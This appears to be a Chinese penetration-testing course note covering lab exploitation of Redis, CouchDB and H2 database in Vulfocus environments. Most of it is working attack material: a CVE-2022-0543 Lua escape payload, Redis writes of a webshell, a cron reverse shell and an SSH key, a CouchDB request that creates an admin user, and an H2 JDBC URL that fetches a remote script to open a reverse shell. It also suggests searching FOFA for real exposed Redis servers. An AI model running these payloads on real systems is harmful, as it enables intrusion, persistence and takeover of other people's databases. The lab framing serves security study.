文章目录
- 前记
- 服务攻防------第七十八天
-
- 数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞
-
- 前置知识
- [数据库应用 - Redis-未授权访问&CVE漏洞](#数据库应用 - Redis-未授权访问&CVE漏洞)
-
- 前置知识
- 案例演示
-
- [沙箱绕过RCE - CVE-2022-0543](#沙箱绕过RCE - CVE-2022-0543)
- [未授权访问 - CNVD-2019-21763](#未授权访问 - CNVD-2019-21763)
- [未授权访问 - CNVD-2015-07557](#未授权访问 - CNVD-2015-07557)
-
- 写WebShell
- 写定时任务反弹Shell
- [写入Linux SSH-Key公钥](#写入Linux SSH-Key公钥)
- 自动化项目
- [数据库应用 - Couchdb-未授权越权&CVE漏洞](#数据库应用 - Couchdb-未授权越权&CVE漏洞)
-
- 前置知识
- 案例演示
-
- Couchdb命令执行(CVE-2017-12636)
- [Couchdb 垂直越权(CVE-2017-12635)](#Couchdb 垂直越权(CVE-2017-12635))
- [数据库应用 - H2database-未授权访问&CVE漏洞](#数据库应用 - H2database-未授权访问&CVE漏洞)
前记
- 今天是学习小迪安全的第七十八天,本节课是服务攻防的第一节内容,主要是数据库安全 ,包括Redis 、CouchDB 以及H2database数据库
- 主要以实战为主,需要自己下去慢慢复现,然后理解思路
服务攻防------第七十八天
数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞

前置知识
复现环境
- 复现环境可以使用
Vulfocus
或Vulhub
- 这里推荐使用
Vulfocus
,但是官方在线网站好像是使用不了了,我们可以本地搭建环境 - 官方参考文档:https://fofapro.github.io/vulfocus/#/
- 搭建教程参考:
Vulfocus
靶机环境搭建部署:Vulfocus
不能同步的解决方法/vulfocus
同步失败:
- 我这里是搭建到本地
Ubuntu
上面的,当然更推荐部署到公网服务器上,然后采用的是docker
搭建:
shell
docker pull vulfocus/vulfocus:latest
- 镜像拉取完毕后直接运行即可:
shell
docker run -d -p 8099:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 vulfocus/vulfocus
-
这里我们将其映射到了8099端口,所以访问
http://IP:8099
就能够访问到Vulfocus
靶场,账号密码为admin/admin
,然后到镜像管理这里一键同步即可:
-
这样我们就可以部署自己想要的靶场环境了,当然也可以自定义靶场
-
我这里并没有遇到小迪所说的无法同步的问题,也可以正常下载镜像,有问题的看看上面的两篇文章解决以下
服务判断
- 端口扫描:利用服务开启后目标端口开放判断
- 组合判断:利用搭建常见组合分析可能开放服务
- 信息来源:访问端口提示软件版本,应用信息等
- 强弱特征:如框架
shiro
强特征rememberMe
,SpringBoot
默认页面等
对象类别
- 对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的 CVE 进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。
利用方法
- 主要集中在 CVE 漏洞 ,未授权访问 ,弱口令爆破等
数据库应用 - Redis-未授权访问&CVE漏洞
前置知识
Redis
是一套开源的使用ANSI
C
编写、支持网络、可基于内存 亦可持久化 的日志型、键值存储数据库 ,并提供多种语言的API
。Redis
如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis
以及读取Redis
的数据。Redis
默认端口:6379
,这也是一个判断是否为Redis
的特征
案例演示
- 演示关于
Redis
常见的几个漏洞,需要在Vulfocus
中下载如下三个靶场:
沙箱绕过RCE - CVE-2022-0543
-
启动之后为了避免冲突,它会将6379端口映射到一个随机端口,实战下一般都是默认的端口
-
然后这里我们直接尝试使用
Another Redis Desktop Manager
连接,看是否存在未授权访问:
-
可以看到也是成功连接上了,说明是存在未授权访问的,连接上之后就可以尝试使用已知的
Redis
历史漏洞尝试打打 -
这里的话是存在
CVE-2022-0543
这个漏洞的,Payload
如下:
shell
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
-
不需要看懂,遇到的时候直接用就行了,它的作用是执行
id
命令,我们将他插入到终端这里,看是否能够成功执行即可:
-
可以看到这里成功执行命令,如果在实战中我们也可以直接尝试连接看是否存在未授权,然后再插入这个命令看看是否执行,如果能够成功执行,那就恭喜你找到了一个漏洞
-
比如我们可以随便在
fofa
上搜一搜看看,语法如下:
shell
port="6379" && protocol="redis"
-
不管它数据包里面返回什么内容都没关系,都可以尝试连接一下 :
-
然后就可以尝试打一下历史漏洞,这里我们就不乱玩了,但是感觉现在这种未授权访问都比较少见了
未授权访问 - CNVD-2019-21763
-
开启第二个靶机:
-
由于在
Reids 4.x
及以上版本中新增了模块功能,攻击者可通过外部拓展 ,在Redis
中实现一个新的Redis
命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so
文件,从而实现远程代码执行。 -
按照它的说明先
make
一下得到exp.so
文件:
shell
cd RedisModulesSDK/
make
- 然后就可以利用了:
shell
python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

- 可以看到是成功利用的
未授权访问 - CNVD-2015-07557
-
同样启动靶机:
-
这个漏洞有三种利用方式,但都是利用写文件的方式去尝试利用
写WebShell
- 利用条件:存在Web网站 ,且Web路径已知 ,具有目录读写权限,所以可以看到利用条件较为苛刻
- 利用:
shell
config set dir /tmp #设置WEB写入目录,这里假设为/tmp
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
-
这里连接上
Redis
之后,一个个写入命令即可:
-
都显示
OK
,没有任何报错就说明命令成功执行了,这时我们看一看/tmp
目录下是否成功创建1.php
文件即可,当然这里因为是在docker
容器中,所以要在docker
目录下去找:
-
这里因为之前传过一些
php
文件,但是我们直接找最后是/tmp
目录的1.php
文件即可,就是最后两个,那就看看其内容是否为<?php phpinfo();?>
即可:
-
这里看到确实没问题,是我们写入的文件,当然也可以再换个文件名上传验证一下,我这边就不再演示了
写定时任务反弹Shell
- 利用条件:
Redis
服务使用ROOT账号 启动,安全模式protected-mode
处于关闭状态,可以看到也是比较苛刻的条件 - 利用:
shell
config set dir /var/spool/cron #修改 Redis 的持久化目录为/var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/攻击机IP/PORT 0>&1\n\n\n" #在 Redis 中设置一个键 yy,其值是一个恶意的 crontab 条目,反弹Shell命令
config set dbfilename x #设置 Redis 持久化文件名为 x
save #强制 Redis 立即将内存中的数据持久化到磁盘
-
因为我这里靶机环境是
docker
搭建的,所以没有/var/spool/cron
目录,但是真实情况下是有的:
-
那这里就演示不了了,然后也需要注意的是网站的服务器要是
CentOS
,否则也无法执行成功 -
因为
CentOS
会忽略乱码去执行格式正确的任务计划,而Ubuntu
并不会忽略这些乱码,所以导致命令执行失败
写入Linux SSH-Key公钥
- 利用条件:
Redis
服务使用 ROOT 账号启动 ,安全模式protected-mode
处于关闭状态 ,允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器;同样是很苛刻的条件 - 利用:
shell
# 在自己的攻击机上执行的命令
ssh-keygen -t rsa #生成一对 RSA 密钥
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt #生成一个 key.txt 文件
cat key.txt | redis-cli -h 目标IP -x set xxx #把 key.txt 的内容作为值,设置到目标 Redis 的键 xxx 中
# 在Redis服务上执行的命令
config set dir /root/.ssh/ #修改 Redis 的持久化目录为目标服务器的 /root/.ssh/
config set dbfilename authorized_keys #设置持久化文件名为 authorized_keys,即 SSH 公钥文件名
save
# 在自己的攻击机上再次执行的命令
cd /root/.ssh/
ssh -i id_rsa root@目标IP #使用本地私钥 id_rsa 登录目标服务器
- 这些其实都比较鸡肋,实战中碰到的概率太低了,所以演不演示都没多大必要了
自动化项目
- 针对
Redis
服务上述的三个漏洞,我们如果碰到一个个测太慢了,那这里有别人写好的自动化脚本,实战中直接扫就好了 - 项目地址:https://github.com/n0b0dyCN/redis-rogue-server
- 同样需要先
make
一下:
shell
cd RedisModulesSDK/exp/
make
- 然后直接使用如下命令扫描即可:
shell
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击机IP

数据库应用 - Couchdb-未授权越权&CVE漏洞
前置知识
Apache CouchDB
是一个开源数据库,专注于易用性和成为 "完全拥抱 web 的数据库"。它是一个使用 JSON 作为存储格式 ,JavaScript
作为查询语言,MapReduce
和HTTP
作为 API 的NoSQL
数据库。- 应用广泛,如 BBC 用在其动态内容展示平台;
Credit Suisse
用在其内部的商品部门的市场框架;Meebo
用在其社交平台(web 和应用程序)。在 2017 年 11 月 15 日,CVE-2017-12635
和CVE-2017-12636
披露利用。 Couchdb
默认端口:5984
案例演示
-
在演示之前,我们需要在
Vulfocus
中拉取它的靶场:
-
这个同样也是碰到了就直接用
poc
打就行了
Couchdb命令执行(CVE-2017-12636)
-
启动靶机:
-
漏洞利用项目地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
-
把上面的
exp
复制下来,修改如下部分:
-
然后将其放到我们的攻击机,先监听443端口,然后直接
python exp.py
即可:
-
这里就成功利用了,能够执行任何命令
Couchdb 垂直越权(CVE-2017-12635)
-
还是先启动我们的靶机:
-
访问5984端口,这里是映射到了27653端口,会返回这样的
JSON
数据:
-
那我们就可以直接使用网上的
POC
进行利用,通过BP
或者Postman
发包:
http
PUT /_users/org.couchdb.user:lingaaa HTTP/1.1
Host: 192.168.0.143:27653
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 105
{
"type": "user",
"name": "lingaaa",
"roles": ["_admin"],
"roles": [],
"password": "lingaaa"
}

-
先等一会再发,这里我们先打开
http://192.168.0.143:27653/_utils/#login
,用这个账号密码尝试登录发现没有用户:
-
然后再将这个数据包发送出去,可以看到它的回显包中提示
OK:true
,再次登录发现登录成功:
数据库应用 - H2database-未授权访问&CVE漏洞
前置知识
H2database
是Java SQL
数据库,H2 的主要特点是:非常快,开源,JDBC API
;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。- H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在
v2.1.210 +
中修复。2.1.210
之前的 H2 控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL
执行任意代码。 - **
H2database
的默认端口为:- TCP 服务端口 :9092
- Web 控制台端口 :8082
- 这里它的默认端口是
9092
和8082
,至于小迪上面说的20051
是O2OA
开发平台内置的H2
默认端口
案例演示
-
同样,我们需要下载关于
H2database
的一个靶场:
-
直接打开
8082
端口,这里映射的是18292
端口,看到如下界面就说明是H2
数据库:
未授权访问
- 我们直接在
JDBC URL
处填入以下内容就可以尝试存不存在未授权访问的情况:
java
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
- 这里就成功进入了,说明存在未授权访问
- 当然有的时候也可以尝试之前的JNDI注入 ,使用
rmi
协议看能否进行攻击利用
RCE执行反弹(CVE-2022-23221)
- 同样使用网上的
POC
,我们在攻击机上创建数据库文件h2database.sql
,写入如下内容:
sql
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
- 这里填入我们的反弹Shell命令,需要经过Base64编码,比如:
shell
bash -i >& /dev/tcp/192.168.0.129/6666 0>&1
- 然后我们在攻击机上启动一个简单的服务器,让目标服务器去加载这个恶意
sql
文件:
python
python -m http.server 8888
- 最后使用
nc
监听6666端口:
shell
nc -lnvp 6666
- 接着,我们就将如下
Payload
填入上面的JDBC URL
处,让他加载h2database.sql
即可尝试getshell
:
java
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
- 也是成功
getshell
,执行任意命令